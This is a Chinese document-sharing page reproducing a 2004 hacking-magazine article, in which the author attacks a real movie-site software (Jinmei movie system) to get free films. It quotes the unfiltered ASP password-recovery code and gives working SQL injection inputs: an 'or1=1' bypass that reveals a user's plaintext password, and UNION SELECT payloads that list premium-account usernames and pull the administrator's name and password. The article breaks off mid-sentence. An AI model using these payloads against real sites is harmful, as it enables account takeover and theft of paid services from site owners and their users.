union查询轻松免费看电影 数据库安全.docVIP

union查询轻松免费看电影 数据库安全.doc

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
union查询轻松免费看电影 数据库安全

union查询轻松免费看电影 数据库安全 sql注入奇招致胜union查询轻松免费看电影_数据库安全2011-03-09 22:48 此文发表在2004年黑客X档案第4期 周末无聊,同学想让我帮他下载一些电影看,我爽快的答应了。看了这么多期X档案,水平自然长进不少,也没事玩玩鸡。这次想免费下载些电影,没问题(我知道N多电影程序有漏洞)。闲话少说,切入正题。 我打开Google,随便搜索了一下电影网站,点开了一个。看了一下界面,知道和金梅电影系统关联很大。金梅系统和洞网(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比如注入啊,COOKIE欺骗什么的。我就在X档案03年11期看过一篇文章,写的是用ASC和MID函数对系统管理员帐户进行猜测。我也想用这种方法猜测,猜了半天都没猜对,真烦人,同学还在那边等我哪,这不是很丢人。我决定找个简单的办法,还是读读源码吧! 下载了一个金梅三电影系统,看了一下,这么多个文件,头马上大了。还是在自己电脑上运行一下吧。注册了一个用户,点了一下找回密码,别人说这里有漏洞。看了一下,象是有漏洞的界面,有三个参数,还直接把密码显示出来。好,看一下源码。 39%if request(myuserid)=then% 58%else set rs=server.createobject(adodb.recordset) sql=select password from users where userid=request(myuserid)and city=request(ask)and adress=request(answer) rs.open sql,conn,1,1 if rs.eof and rs.bof then% 这里果然没过滤。好多人都想到了可以用上面的方法注入了。能不能有更简单的方法呢? 我仔细考虑语句的形式如下: select password from users where userid=and city=and adress= 如果用户名,密码提示问题(city),密码提示答案(adress)和表users一行匹配,便打印这行的password,而且是明文的。我想的过程就不写了,后来我想到了一种方法,就是利用union查询。Access功能是很弱的,不能执行命令,不能导出文本,还不能注释。有个子查询可以利用之外,也就剩下这个union了。 怎么利用呢?先在本机做实验。测试过程简略,直接写有所收获的结果。 要是知道了一个该网站的一个用户名(比如abc),可以这样利用。 在你注册问题处填:abc or1=1(如果用户名是bcd,就变为bcd or1=1) 密码提示问题处随便填几个字母或数字,最好别有符号,容易影响结果:比如字母a 密码提示答案处随便填几个字母或数字,填个a 回车后就看到该用户的密码了,简单吧(如图一)。 其实这样一来,上面的语句就变为: select password from users where userid=abc or1=1and city=aand adress=a 呵呵,程序无条件的执行了,因为被or1=1跳过后面的验证了。 可是网站用户名也不是轻易得到的啊。别急,得到用户名一样简单。如下: 在你注册问题处随便处填几个字母或数字,最好别有符号,容易影响结果:比如字母a 密码提示问题处和上面一样,随便填:我也填个a 关键是在密码提示答案:我填的是a union select userid from users where oklook=3 or 0 上面就是要找黄金用户的帐户名(如图二),看到用户名后再用前面的方法找到密码。 可以在where后面加很多参数并赋不同的值可以得到很多帐户。 按上面的填入后输入语句就变成了: select password from users where userid=aand city=aand adress=a union select userid from users where oklook=3 or 0 细心的读者看到这可能已经想到怎样得到管理员的帐号和密码,不错,也很简单。我也不写过程了,直接写出语句如下: 得到帐号: select password from users where userid=aand city=aand adress=a union select name from okwiantgo where id=1 or 0 得到密码: select password from users where userid=aand city=aand adress=a union select pwd from okwiantgo where id=1 or 0 然后登陆就行了,路径格式为: 网站电影路

文档评论(0)

2017meng + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档